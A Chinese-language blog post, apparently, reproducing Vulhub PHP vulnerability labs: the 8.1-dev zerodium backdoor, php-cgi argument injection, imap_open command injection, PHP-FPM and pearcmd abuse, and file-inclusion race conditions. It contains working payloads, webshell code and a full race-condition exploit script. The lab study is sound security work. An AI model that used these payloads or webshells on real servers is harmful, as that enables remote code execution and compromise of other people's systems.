Vulhub-php相关漏洞复现

8.1-backdoor

漏洞描述

PHP 8.1.0-dev 版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送User-Agentt头来执行任意代码。

payload:

在请求头中插入

User-Agentt: zerodium+命令

例如

User-Agentt: zerodiumphpinfo();

image-20240225124651374

CVE-2012-1823(PHP-CGI远程代码执行漏洞)

PHP SAPI 与运行模式
php-cgi也是一个sapi。在远古的时候,web应用的运行方式很简单,web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork出一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行,这种执行方式一般就被称为cgi,在安装Apache的时候默认有一个cgi-bin目录,最早就是放置这些cgi脚本用的。

php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就说,我们可以像perl一样,让web容器直接fork一个php-cgi进程执行某脚本;也可以在后台运行php-cgi -b 127.0.0.1:9000(php-cgi作为fastcgi的管理器),并让web容器用fastcgi协议和9000交互。

漏洞成因

用户请求的querystring(查询字符串,一般是对http请求的所带的数据进行解析)被作为了php-cgi的参数,最终导致了一系列结果

RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能。

于是就导致了php不光可以通过命令行参数的方式传入php-cgi,也可以通过querystring的方式传入。

利用条件

只出现在cgi模式运行的php中。影响范围 php < 5.3.12 或 php < 5.4.2

漏洞利用

参数:

  • -c 指定php.ini文件的位置
  • -n 不要加载php.ini文件
  • -d 指定配置项
  • -b 启动fastcgi进程
  • -s 显示文件源码
  • -T 执行指定次该文件
  • -h-? 显示帮助

传入-s即可显示源码

image-20240226164746435

通过-d指定auto_prepend_file来制造任意文件包含漏洞,同时需要将allow_url_include设置为on,执行任意代码(注意空格用+代替,=用%3d代替)

?-d+allow_url_include=on+-d+auto_prepend_file=php://input

image-20240226165451918

CVE-2018-19518- imap 远程命令执行

漏洞成因

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。利用此漏洞的功能代码是Metasploit Framework的一部分。

关于IMAP

Internet消息访问协议(IMAP)是电子邮件客户端用于通过TCP / IP连接从邮件服务器检索电子邮件的Internet标准协议。IMAP由Mark Crispin于1986年设计为远程邮箱协议,与广泛使用的POP(一种用于检索邮箱内容的协议)形成对比。目前,IMAP由RFC 3501定义规格。IMAP的设计目标是允许多个电子邮件客户端完全管理电子邮件收件箱。因此,客户端通常会在服务器上保留消息,直到用户明确删除它们为止。IMAP服务器通常侦听端口号143.默认情况下,为IMAP over SSL(IMAPS)分配端口号993。当然,PHP支持IMAP开箱即用。

PHP调用:

resource imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] )

其中mailbox参数来定义连接的服务器{[host]}:[port][flags]}[mailbox_name]

IMAP允许使用预先验证的ssh或rsh会话自动登录服务器。当不需要使用该功能时使用的标志然后默认尝试使用该标志

条件

需要具有对目标系统的用户级访问权限,

payload

x+-oProxyCommand=echo   echo'1234567890'>/tmp/test0001|base64   -d|sh}
x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=123&password=123

image-20240226184900955

进入容器内可以看到文件被写入

image-20240226184924251

CVE-2019-11043(PHP远程代码执行漏洞)

漏洞成因

CVE-2019-11043漏洞是PHP的一个远程代码执行漏洞,该漏洞产生与Nginx利用fastcgi_split_path_info在处理带有 %0a 的请求时,会因为遇到换行符(%0a)导致PATH_INFO为空,最终可导致任意代码执行。

存在漏洞的Nginx中location配置

location ~ [^/].php(/|$) {
    fastcgi_pass  127.0.0.1:9000;
    fastcgi_index index.php;
    include fastcgi_params;
    fastcgi_split_path_info ^(.+?.php)(/.*)$;
    fastcgi_param PATH_INFO     $fastcgi_path_info;
    fastcgi_param SCRIPT_FILENAME  $document_root$fastcgi_script_name;
}

其中关键为fastcgi_split_path_info ^(.+?.php)(/.*)$

如果用户传入的信息存在换行符(URL编码后为%0a),则会破坏fastcgi_split_path_info参数后面的正则表达式匹配,从而导致PATH_INFO变量为空,从而触发漏洞。

(这里本想自己构造payload进行漏洞复现,但没有找到相关文章,工具使用go编写,还没有参透原理)

漏洞复现

使用工具:https://github.com/neex/phuip-fpizdam

image-20240226204253030

编译,配置工具

image-20240226204322324

攻击

image-20240226204349527

工具是使用完成后,在/tmp目录下,写入了一个webshell

在index页面下传入a,即可rce

image-20240226204518168

FPM(FPM未授权访问漏洞)

PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。

当fpm是根据SCRIPT_FILENAME来执行php文件,如果这文件不存在,fpm直接返回404

在fpm某个版本之前,可以将SCRIPT_FILENAME的值指定为任意后缀文件,比如/etc/passwd;但后来,fpm的默认配置中增加了一个选项security.limit_extensions

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

其限定了只有某些后缀的文件允许被fpm执行,默认是.php。所以,当我们再传入/etc/passwd的时候,将会返回Access denied.

由于这个配置项的限制,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。可以找默认原安装后可能存在的php文件,比如/usr/local/lib/php/PEAR.php,使得传入的代码能够被作为php代码进行处理

image-20240228200119019

利用环境变量达到任意代码执行

PHP.INI中有两个配置项:auto_prepend_file和auto_append_file

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

auto_prepend_filephp://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。只需要把待执行的代码放在Body中,他们就能被执行了。(还需要开启远程文件包含选项allow_url_include

而这两个配置项可以用PHP_VALUEPHP_ADMIN_VALUE这两个环境变量进行设置PHP_VALUE可以设置模式为PHP_INI_USERPHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

所以传入如下环境变量

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

然后将需要执行的代码放在body中,即可执行任意代码

exp:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

image-20240228195926882

reference:P牛

inclusion(利用phpinfo进行临时文件包含漏洞)

利用条件

存在或可以构造phpinfo界面

file_uploads为on

image-20240228204417251

存在文件包含

漏洞原理

在对任意PHP文件发送POST数据包时,无论是否存在处理文件的代码逻辑,PHP都会先将这个文件保存为一个临时文件,一般位于系统临时目录,临时目录由php.ini的upload_tmp_dir属性指定,假如upload_tmp_dir的路径不可写,PHP会上传到系统默认的临时目录中,文件名为PHP开头,后跟6个随机字符,在请求结束后,文件被删除

img

同时,因为phpinfo页面会将当前请求上下文中的所有变量打印出来,所以当向phpinfo页面发送文件时,即可在界面中找到包含$_files变量的内容

$_FILES超级全局变量很特殊,他是预定义超级全局数组中唯一的二维数组。其作用是存储各种与上传文件有关的信息

一般,文件包含和上传文件分为两步进行操作,大致漏洞利用流程为:上传文件->phpinfo页面获得临时文件名->得到结果进行文件包含

由于在写入临时文件和删除文件中存在着短暂的时间差,因此可以利用条件竞争利用该文件

增大条件竞争成功概率:

  1. 增大文件包含线程数,让文件包包含的操作尽可能早于临时文件被删除
  2. 在请求头,querystring,中插入大量垃圾字符使得phpinfo页面更大,php默认输出缓冲区为4096,即每次返回4096个字节给socket连接

漏洞利用

启动vulhub漏洞环境后,存在两个页面

一个phpinfo.php 一个lfi.php

首先进行测试文件上传并打印phpinfo查看是否存在$_FILES全局变量

测试脚本

import requests

files = {
  'file': ("test.php","<?php echo 'test'?>")
}
url = "http://x.x.x.x/phpinfo.php"
r = requests.post(url=url, files=files, allow_redirects=False)
print(r.text)

运行脚本后可以发现确实存在临时文件名。临时文件名为php0C9msZ,在/tmp目录下

image-20240228215807285

使用P牛的EXP

写入一个<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>r

使得在文件包含这个页面时在tmp目录下写入一个永久的webshell

exp:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

image-20240228221505806

跑完脚本后webshell成功

image-20240228221442906

pear.cmd

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要在编译PHP的时候指定--with-pear才会安装。(参考CVE-2012-1823)

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

使用querystring传入命令创建webshell(需要使用yakit或者bp进行发包,浏览器自动url编码无法正常解析)

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/parar.php

image-20240228223751070

session文件包含

PHP中可以通过session progress功能实现临时文件的写入。

利用条件

  • 目标环境开启了session.upload_progress.enable选项
  • 发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
  • 请求的Cookie中包含Session ID

PHP在开启了session.upload_progress.enable后(在包括Docker的大部分环境下默认是开启的),将会把用户上传文件的信息保存在Session中,而PHP的Session默认是保存在文件里的。(当只上传一个文件时,不会遗留session文件,所以表单里必须有两个以上的文件上传)

利用脚本

import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait

target = 'http://192.168.1.162:8080/index.php'
session = requests.session()
flag = 'helloworld'

def upload(e: threading.Event):
    files = [
        ('file', ('load.png', b'a' * 40960, 'image/png')),
    ]
    data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}

    while not e.is_set():
        requests.post(
            target,
            data=data,
            files=files,
            cookies={'PHPSESSID': flag},
        )

def write(e: threading.Event):
    while not e.is_set():
        response = requests.get(
            f'{target}?file=/tmp/sess_{flag}',
        )

        if flag.encode() in response.content:
            e.set()

if __name__ == '__main__':
    futures = []
    event = threading.Event()
    pool = ThreadPoolExecutor(15)
    for i in range(10):
        futures.append(pool.submit(upload, event))

    for i in range(5):
        futures.append(pool.submit(write, event))

    wait(futures)
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇